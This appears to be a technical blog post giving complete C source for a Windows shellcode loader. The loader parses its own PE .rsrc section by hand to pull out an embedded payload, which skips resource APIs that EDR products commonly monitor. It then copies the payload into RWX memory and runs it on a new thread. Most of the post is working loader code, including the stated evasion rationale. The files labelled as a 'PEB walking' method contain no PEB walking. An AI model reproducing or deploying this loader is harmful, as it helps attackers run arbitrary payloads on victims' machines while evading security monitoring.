Post

Shellcode-Placement-ResourceSection-Manual

Shellcode-Placement-ResourceSection-Manual

What is it?

The same shellcode-in-resource technique as before, but instead of using the Windows API (FindResourceW, LoadResource, LockResource) to retrieve the payload, we parse the PE .rsrc section ourselves directly from memory. The high-level resource API functions are commonly hooked by EDRs — walking the resource tree manually lets you retrieve the shellcode without calling any of them.

How it works

Step 1: Get the mapped PE base address

1
2
3
4
GetModuleHandleW(NULL)
→ Returns the base address of the current process image
→ This is where the full PE is mapped in memory — headers, sections, everything
→ From here we can walk the PE structure ourselves without relying on any API

Step 2: Parse the PE headers to find the .rsrc section

1
2
3
4
5
6
7
8
pBase + pDosHdr->e_lfanew
→ DOS header ("MZ") → e_lfanew → NT headers ("PE\0\0")

pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress
→ RVA of the .rsrc section from the PE data directory table
→ IMAGE_DIRECTORY_ENTRY_RESOURCE = index 2

pBase + dwRsrcRva = pResDir (IMAGE_RESOURCE_DIRECTORY root)

Step 3: Walk the 3-level .rsrc tree

The .rsrc section is organized as a tree with three levels. Each level is an IMAGE_RESOURCE_DIRECTORY followed immediately by an array of IMAGE_RESOURCE_DIRECTORY_ENTRY structs — that’s why we do pResDir + 1 to get to the entries.

1
2
3
4
5
6
7
8
typedef struct _IMAGE_RESOURCE_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    WORD    NumberOfNamedEntries;   // entries with string names (come first)
    WORD    NumberOfIdEntries;      // entries with numeric IDs (come after)
} IMAGE_RESOURCE_DIRECTORY;
1
2
3
4
5
6
7
Level 1 — Type directory (what kind of resource)

pTypeEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pResDir + 1)
→ Each entry has NameIsString = 1 (custom string type) or 0 (numeric type e.g. RT_ICON)
→ We embedded as type "N0xshell" so we look for a named entry
→ NameOffset → PIMAGE_RESOURCE_DIR_STRING_U → compare string case-insensitively
→ On match: OffsetToDirectory → Level 2 directory
1
2
3
4
5
6
Level 2 — Name / ID directory (which specific resource)

pNameEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pNameDir + 1)
→ Our resource uses numeric ID (IDR_N0XSHELL1 = 101) so we match on Id field
→ Skip any named entries
→ On match: OffsetToDirectory → Level 3 directory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Level 3 — Language directory (which language variant)

pLangEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pLangDir + 1)
→ We only embedded one language so we just take the first entry
→ OffsetToData → IMAGE_RESOURCE_DATA_ENTRY

typedef struct _IMAGE_RESOURCE_DATA_ENTRY {
    DWORD   OffsetToData;   // RVA from image base to the actual resource bytes
    DWORD   Size;           // size of the resource in bytes
    DWORD   CodePage;
    DWORD   Reserved;
} IMAGE_RESOURCE_DATA_ENTRY;

pBase + pDataEntry->OffsetToData → raw shellcode bytes in .rsrc (PAGE_READONLY)
pDataEntry->Size                 → shellcode size

Step 4: Copy and execute

1
2
3
4
5
6
7
8
9
10
11
VirtualAlloc(PAGE_EXECUTE_READWRITE)
→ .rsrc is mapped PAGE_READONLY — cannot execute from there directly
→ Must copy into a separate RWX allocation

memcpy(pAddr, pShellcodeAddr, sShellcodeSize)
→ Shellcode bytes → RWX buffer

CreateThread(pAddr) + WaitForSingleObject
→ New thread starts at shellcode entry point
→ Shellcode uses EXITFUNC=thread so ExitThread is called at the end,
  not ExitProcess — main thread stays alive to reach WaitForSingleObject
Full Flow

Full Flow

Shellcode-Placement-ResourceSection-(PEB Walking Method).c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#include <Windows.h>
#include <stdio.h>
#include "resource.h"

/*
    Manually PE Resource Parser
        Instead of relying on WinAPIs (FindResourceW, LoadResource) to fetch the shellcode,
        we parse the PE .rsrc directory ourselves from memory — avoiding commonly monitored API calls.

        The .rsrc section is organized as a 3-level tree:
            Level 1: Type    → what kind of resource (e.g. "N0xshell")
            Level 2: Name/ID → which specific resource (e.g. IDR_N0XSHELL1 = 101)
            Level 3: Language → language variant, we just take the first entry
                     └─ DATA_ENTRY → RVA + size of the actual resource bytes
*/

/*
    dwResourceId    -> Numeric resource ID (e.g. IDR_N0XSHELL1 = 101)
    lpResourceType  -> Custom resource type string (e.g. L"N0xshell")
    pdwOutSize      -> Receives the resource size in bytes
*/
PVOID GetResourceData(_In_ DWORD dwResourceId, _In_ LPCWSTR lpResourceType, _Out_ PSIZE_T pdwOutSize) {

    PBYTE                           pBase = NULL;
    PIMAGE_DOS_HEADER               pDosHdr = NULL;
    PIMAGE_NT_HEADERS               pNtHdrs = NULL;
    DWORD                           dwRsrcRva = 0;
    PIMAGE_RESOURCE_DIRECTORY       pResDir = NULL;
    PIMAGE_RESOURCE_DIRECTORY_ENTRY pTypeEntry = NULL;
    PIMAGE_RESOURCE_DIRECTORY       pNameDir = NULL;
    PIMAGE_RESOURCE_DIRECTORY_ENTRY pNameEntry = NULL;
    PIMAGE_RESOURCE_DIRECTORY       pLangDir = NULL;
    PIMAGE_RESOURCE_DIRECTORY_ENTRY pLangEntry = NULL;
    PIMAGE_RESOURCE_DATA_ENTRY      pDataEntry = NULL;
    PIMAGE_RESOURCE_DIR_STRING_U    pStr = NULL;
    BOOL                            bMatch = FALSE;
    DWORD                           dwNumEntries = 0;
    WCHAR                           wc1 = 0,
        wc2 = 0;

    // Get base address of the current module — this is where the PE is mapped in memory
    pBase = (PBYTE)GetModuleHandleW(NULL);
    if (!pBase)
        return NULL;

    // Validate DOS header ("MZ") then walk to NT headers via e_lfanew
    pDosHdr = (PIMAGE_DOS_HEADER)pBase;
    if (pDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return NULL;

    pNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pDosHdr->e_lfanew);
    if (pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return NULL;

    // Fetch the .rsrc section RVA from the PE data directory (index 2 = IMAGE_DIRECTORY_ENTRY_RESOURCE)
    dwRsrcRva = pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;
    if (!dwRsrcRva)
        return NULL;

    pResDir = (PIMAGE_RESOURCE_DIRECTORY)(pBase + dwRsrcRva);

    /*
        Level 1 — Type Directory

        The IMAGE_RESOURCE_DIRECTORY entries follow directly after the struct itself (+1).
        Each entry is either named (NameIsString = 1, e.g. "N0xshell") or ID-based (e.g. RT_ICON).
        We use a named type so we skip all ID entries and compare the string.

        typedef struct _IMAGE_RESOURCE_DIRECTORY {
            DWORD   Characteristics;
            DWORD   TimeDateStamp;
            WORD    MajorVersion;
            WORD    MinorVersion;
            WORD    NumberOfNamedEntries;   // entries with string names — comes first
            WORD    NumberOfIdEntries;      // entries with numeric IDs — comes after
        } IMAGE_RESOURCE_DIRECTORY;
    */

    pTypeEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pResDir + 1);
    dwNumEntries = pResDir->NumberOfNamedEntries + pResDir->NumberOfIdEntries;

    for (DWORD dwI = 0; dwI < dwNumEntries; dwI++) {

        if (!pTypeEntry[dwI].NameIsString)
            continue; // skip numeric type entries

        pStr = (PIMAGE_RESOURCE_DIR_STRING_U)(pBase + dwRsrcRva + pTypeEntry[dwI].NameOffset);

        // Case-insensitive compare against our target type string
        if (pStr->Length == (WORD)wcslen(lpResourceType) &&
            _wcsnicmp(pStr->NameString, lpResourceType, pStr->Length) == 0) {
            pNameDir = (PIMAGE_RESOURCE_DIRECTORY)(pBase + dwRsrcRva + pTypeEntry[dwI].OffsetToDirectory);
            break;
        }
    }

    if (!pNameDir) {
        printf("[!] Resource type \"%ws\" not found in .rsrc \n", lpResourceType);
        return NULL;
    }

    /*
        Level 2 — Name / ID Directory

        Each entry here identifies a specific resource within the type.
        Our resource uses a numeric ID (IDR_N0XSHELL1 = 101) so we match on Id,
        skipping any named entries.
    */

    pNameEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pNameDir + 1);
    dwNumEntries = pNameDir->NumberOfNamedEntries + pNameDir->NumberOfIdEntries;

    for (DWORD dwI = 0; dwI < dwNumEntries; dwI++) {

        if (pNameEntry[dwI].NameIsString)
            continue; // skip named entries

        if (pNameEntry[dwI].Id == (WORD)dwResourceId) {
            pLangDir = (PIMAGE_RESOURCE_DIRECTORY)(pBase + dwRsrcRva + pNameEntry[dwI].OffsetToDirectory);
            break;
        }
    }

    if (!pLangDir) {
        printf("[!] Resource ID %d not found \n", dwResourceId);
        return NULL;
    }

    /*
        Level 3 — Language Directory

        Each entry is a language variant of the resource. We only embedded one,
        so we just take the first entry. Its OffsetToData points to
        IMAGE_RESOURCE_DATA_ENTRY which holds the data RVA + size.
    */

    pLangEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pLangDir + 1);
    pDataEntry = (PIMAGE_RESOURCE_DATA_ENTRY)(pBase + dwRsrcRva + pLangEntry->OffsetToData);

    if (pdwOutSize)
        *pdwOutSize = pDataEntry->Size;

    // OffsetToData is an RVA from image base (not from .rsrc base)
    return (PVOID)(pBase + pDataEntry->OffsetToData);
}


int main() {

    PVOID   pShellcodeAddr = NULL;
    SIZE_T  sShellcodeSize = 0;
    PVOID   pAddr = NULL;
    HANDLE  hThread = NULL;

    printf("[*] Parsing .rsrc section manually \n");

    // Walk the PE resource
    pShellcodeAddr = GetResourceData(IDR_N0XSHELL1, L"N0xshell", &sShellcodeSize);
    if (!pShellcodeAddr || !sShellcodeSize) {
        printf("[!] GetResourceData Failed \n");
        return -1;
    }

    printf("[+] Shellcode Found At: 0x%p \n", pShellcodeAddr);
    printf("[+] Shellcode Size: %d bytes \n", sShellcodeSize);

    // .rsrc is PAGE_READONLY — copy shellcode into a separate RWX allocation to execute
    pAddr = VirtualAlloc(NULL, sShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pAddr) {
        printf("[!] VirtualAlloc Failed: %d \n", GetLastError());
        return -1;
    }

    memcpy(pAddr, pShellcodeAddr, sShellcodeSize);
    printf("[+] Executable Memory:  0x%p \n", pAddr);

    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pAddr, NULL, 0, NULL);
    if (!hThread) {
        printf("[!] CreateThread Failed: %d \n", GetLastError());
        return -1;
    }

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);

    printf("[#] Press <Enter> To Exit! \n");
    getchar();
    return 0;
}

Shellcode-Placement-ResourceSection-PEB-Walking.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#include <Windows.h>
#include <stdio.h>
#include "resource.h"

/*
    Manually PE Resource Parser
        Instead of relying on WinAPIs (FindResourceW, LoadResource) to fetch the shellcode,
        we parse the PE .rsrc directory ourselves from memory — avoiding commonly monitored API calls.

        The .rsrc section is organized as a 3-level tree:
            Level 1: Type    → what kind of resource (e.g. "N0xshell")
            Level 2: Name/ID → which specific resource (e.g. IDR_N0XSHELL1 = 101)
            Level 3: Language → language variant, we just take the first entry
                     └─ DATA_ENTRY → RVA + size of the actual resource bytes
*/

/*
    dwResourceId    -> Numeric resource ID (e.g. IDR_N0XSHELL1 = 101)
    lpResourceType  -> Custom resource type string (e.g. L"N0xshell")
    pdwOutSize      -> Receives the resource size in bytes
*/
PVOID GetResourceData(_In_ DWORD dwResourceId, _In_ LPCWSTR lpResourceType, _Out_ PSIZE_T pdwOutSize) {

    PBYTE                           pBase = NULL;
    PIMAGE_DOS_HEADER               pDosHdr = NULL;
    PIMAGE_NT_HEADERS               pNtHdrs = NULL;
    DWORD                           dwRsrcRva = 0;
    PIMAGE_RESOURCE_DIRECTORY       pResDir = NULL;
    PIMAGE_RESOURCE_DIRECTORY_ENTRY pTypeEntry = NULL;
    PIMAGE_RESOURCE_DIRECTORY       pNameDir = NULL;
    PIMAGE_RESOURCE_DIRECTORY_ENTRY pNameEntry = NULL;
    PIMAGE_RESOURCE_DIRECTORY       pLangDir = NULL;
    PIMAGE_RESOURCE_DIRECTORY_ENTRY pLangEntry = NULL;
    PIMAGE_RESOURCE_DATA_ENTRY      pDataEntry = NULL;
    PIMAGE_RESOURCE_DIR_STRING_U    pStr = NULL;
    BOOL                            bMatch = FALSE;
    DWORD                           dwNumEntries = 0;
    WCHAR                           wc1 = 0,
        wc2 = 0;

    // Get base address of the current module — this is where the PE is mapped in memory
    pBase = (PBYTE)GetModuleHandleW(NULL);
    if (!pBase)
        return NULL;

    // Validate DOS header ("MZ") then walk to NT headers via e_lfanew
    pDosHdr = (PIMAGE_DOS_HEADER)pBase;
    if (pDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return NULL;

    pNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pDosHdr->e_lfanew);
    if (pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return NULL;

    // Fetch the .rsrc section RVA from the PE data directory (index 2 = IMAGE_DIRECTORY_ENTRY_RESOURCE)
    dwRsrcRva = pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;
    if (!dwRsrcRva)
        return NULL;

    pResDir = (PIMAGE_RESOURCE_DIRECTORY)(pBase + dwRsrcRva);

    /*
        Level 1 — Type Directory

        The IMAGE_RESOURCE_DIRECTORY entries follow directly after the struct itself (+1).
        Each entry is either named (NameIsString = 1, e.g. "N0xshell") or ID-based (e.g. RT_ICON).
        We use a named type so we skip all ID entries and compare the string.

        typedef struct _IMAGE_RESOURCE_DIRECTORY {
            DWORD   Characteristics;
            DWORD   TimeDateStamp;
            WORD    MajorVersion;
            WORD    MinorVersion;
            WORD    NumberOfNamedEntries;   // entries with string names — comes first
            WORD    NumberOfIdEntries;      // entries with numeric IDs — comes after
        } IMAGE_RESOURCE_DIRECTORY;
    */

    pTypeEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pResDir + 1);
    dwNumEntries = pResDir->NumberOfNamedEntries + pResDir->NumberOfIdEntries;

    for (DWORD dwI = 0; dwI < dwNumEntries; dwI++) {

        if (!pTypeEntry[dwI].NameIsString)
            continue; // skip numeric type entries

        pStr = (PIMAGE_RESOURCE_DIR_STRING_U)(pBase + dwRsrcRva + pTypeEntry[dwI].NameOffset);

        // Case-insensitive compare against our target type string
        if (pStr->Length == (WORD)wcslen(lpResourceType) &&
            _wcsnicmp(pStr->NameString, lpResourceType, pStr->Length) == 0) {
            pNameDir = (PIMAGE_RESOURCE_DIRECTORY)(pBase + dwRsrcRva + pTypeEntry[dwI].OffsetToDirectory);
            break;
        }
    }

    if (!pNameDir) {
        printf("[!] Resource type \"%ws\" not found in .rsrc \n", lpResourceType);
        return NULL;
    }

    /*
        Level 2 — Name / ID Directory

        Each entry here identifies a specific resource within the type.
        Our resource uses a numeric ID (IDR_N0XSHELL1 = 101) so we match on Id,
        skipping any named entries.
    */

    pNameEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pNameDir + 1);
    dwNumEntries = pNameDir->NumberOfNamedEntries + pNameDir->NumberOfIdEntries;

    for (DWORD dwI = 0; dwI < dwNumEntries; dwI++) {

        if (pNameEntry[dwI].NameIsString)
            continue; // skip named entries

        if (pNameEntry[dwI].Id == (WORD)dwResourceId) {
            pLangDir = (PIMAGE_RESOURCE_DIRECTORY)(pBase + dwRsrcRva + pNameEntry[dwI].OffsetToDirectory);
            break;
        }
    }

    if (!pLangDir) {
        printf("[!] Resource ID %d not found \n", dwResourceId);
        return NULL;
    }

    /*
        Level 3 — Language Directory

        Each entry is a language variant of the resource. We only embedded one,
        so we just take the first entry. Its OffsetToData points to
        IMAGE_RESOURCE_DATA_ENTRY which holds the data RVA + size.
    */

    pLangEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pLangDir + 1);
    pDataEntry = (PIMAGE_RESOURCE_DATA_ENTRY)(pBase + dwRsrcRva + pLangEntry->OffsetToData);

    if (pdwOutSize)
        *pdwOutSize = pDataEntry->Size;

    // OffsetToData is an RVA from image base (not from .rsrc base)
    return (PVOID)(pBase + pDataEntry->OffsetToData);
}


int main() {

    PVOID   pShellcodeAddr = NULL;
    SIZE_T  sShellcodeSize = 0;
    PVOID   pAddr = NULL;
    HANDLE  hThread = NULL;

    printf("[*] Parsing .rsrc section manually \n");

    // Walk the PE resource tree — returns a pointer into .rsrc (read-only)
    pShellcodeAddr = GetResourceData(IDR_N0XSHELL1, L"N0xshell", &sShellcodeSize);
    if (!pShellcodeAddr || !sShellcodeSize) {
        printf("[!] GetResourceData Failed \n");
        return -1;
    }

    printf("[+] Shellcode Found At: 0x%p \n", pShellcodeAddr);
    printf("[+] Shellcode Size: %d bytes \n", sShellcodeSize);

    // .rsrc is PAGE_READONLY — copy shellcode into a separate RWX allocation to execute
    pAddr = VirtualAlloc(NULL, sShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pAddr) {
        printf("[!] VirtualAlloc Failed: %d \n", GetLastError());
        return -1;
    }

    memcpy(pAddr, pShellcodeAddr, sShellcodeSize);

    printf("[+] Executable Memory:  0x%p \n", pAddr);

    hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pAddr, NULL, 0, NULL);
    if (!hThread) {
        printf("[!] CreateThread Failed: %d \n", GetLastError());
        return -1;
    }

    WaitForSingleObject(hThread, INFINITE);
    DWORD dwExitCode = 0;
    GetExitCodeThread(hThread, &dwExitCode);
    printf("[i] Thread exit code: 0x%08X \n", dwExitCode);

    CloseHandle(hThread);

    printf("[+] Done \n");
    printf("[#] Press <Enter> To Exit ... \n");

    getchar();
    return 0;
}

resource.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//
// Microsoft Visual C++ generated include file.
// Used by Shellcode-Placement-ResourceSection(PEB-Walking).rc
//
#define IDR_N0XSHELL1                   101

// Next default values for new objects
// 
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE        102
#define _APS_NEXT_COMMAND_VALUE         40001
#define _APS_NEXT_CONTROL_VALUE         1001
#define _APS_NEXT_SYMED_VALUE           101
#endif
#endif

This post is licensed under CC BY 4.0 by the author.